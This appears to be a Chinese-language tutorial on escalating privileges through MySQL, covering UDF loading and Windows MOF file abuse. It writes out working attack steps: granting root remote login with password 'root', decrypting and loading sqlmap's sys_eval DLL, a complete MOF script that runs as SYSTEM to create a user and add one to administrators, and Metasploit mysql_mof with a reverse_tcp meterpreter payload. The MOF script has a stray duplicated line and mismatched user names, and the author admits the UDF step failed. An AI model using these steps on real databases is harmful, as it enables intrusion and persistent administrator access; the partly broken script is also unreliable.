Mysql提权
UDF提权
UDF介绍
UDF又称用户定义函数,是一种允许用户在Mysql中创建自定义功能的机制,通过UDF用户可以编写自定义函数将其编译成动态链接库后,加载到Mysql中,在执行Mysql查询语句时就可以使用这些自定义函数,若是管理不当很可能会带来安全隐患
UDF提权原理
Mysql允许用户通过CREATE FUNCTION
语句让用户自定义函数,由于数据库没有对库文件的来源和内容进行验证,从而导致攻击者可以将恶意的动态链接库加载到Mysql中,利用这些文件进行恶意操作
UDF利用条件
Mysql需要root权限,想直接通过Mysql弱口令连接的话目标必须支持远程登录,默认是不支持远程登录的,如果拿到目标网站的shell直接在本地登录Mysql(代码配置文件通常都会有数据库连接账号密码),利用以下命令授予远程登录
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
FLUSH PRIVILEGES;
当my.ini中secure_file_priv字段值为空代表可以写入,为NULL代表不可写入,为指定目录代表只能在指定目录中写入
Mysql版本 > 5.1 udf.dll文件必须放置在Mysql目录下的lib\plugin下
Mysql版本 < 5.1 udf.dll文件放置在C:\windows\system32下
Mysql版本 < 5.0 udf.dll文件可以随意放置
UDF手动提权
假设我们已经拿到网站的Shell,直接在此处登录Mysql账号密码进行连接
查看数据库位数(udf.dll位数要与数据库的对应)、版本和secure_file_priv
select version();
show variables like "%version_%";
show variables like "secure_file_priv";
找到Sqlmap下面的data\udf选择Windows64位的dll文件将它粘到Sqlmap的extra\cloak目录下进行解密,dll的位数必须与数据库位数相对应
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf_sys_64.dll
将准备好的dll文件上传到lib\plugin目录下,我这里的环境用的是PHPStudy搭建的打开以后没有这个目录需要自己手动创建一下
接下来在此处让Mysql加载上传的udf.dll文件
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys_64.dll';
我也不知道到底咋回事在这里就是执行不出来命令还报错我直接在终端展示效果吧,应该是我环境搭建有点问题吧,道理都是一样的懒得再去调了
MOF提权
MOF介绍
MOF是一种用于定义和描述 Windows 管理基础结构(WMI)对象的脚本化格式
MOF 文件包含定义 WMI 类及其属性和方法的代码这些类代表系统中的各种管理对象,如硬件组件、操作系统服务等。
MOF提权原理
严格来讲MOF提权和Mysql没有太大关系,它是利用了C:/Windows/system32/wbem/mof/下的nullevt.mof文件,在很短时间内该文件就会以SYSTEM权限运行一次,因此我们可以将命令写入到这个文件里从而达到提权的目的
MOF利用条件
WIndows版本 <= WIndows Server2003
Mysql具有对这个目录的写入权限
目标关闭secure_file_priv
MOF提权过程
一下是MOF脚本内容,下面这段是我们需要执行的命令,将文件利用数据库写入到mof文件目录中即可
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; };
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
或者直接使用MSF内置模块进行提权
msf6 > use exploit/windows/mysql/mysql_mof
msf6 exploit(windows/mysql/mysql_mof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp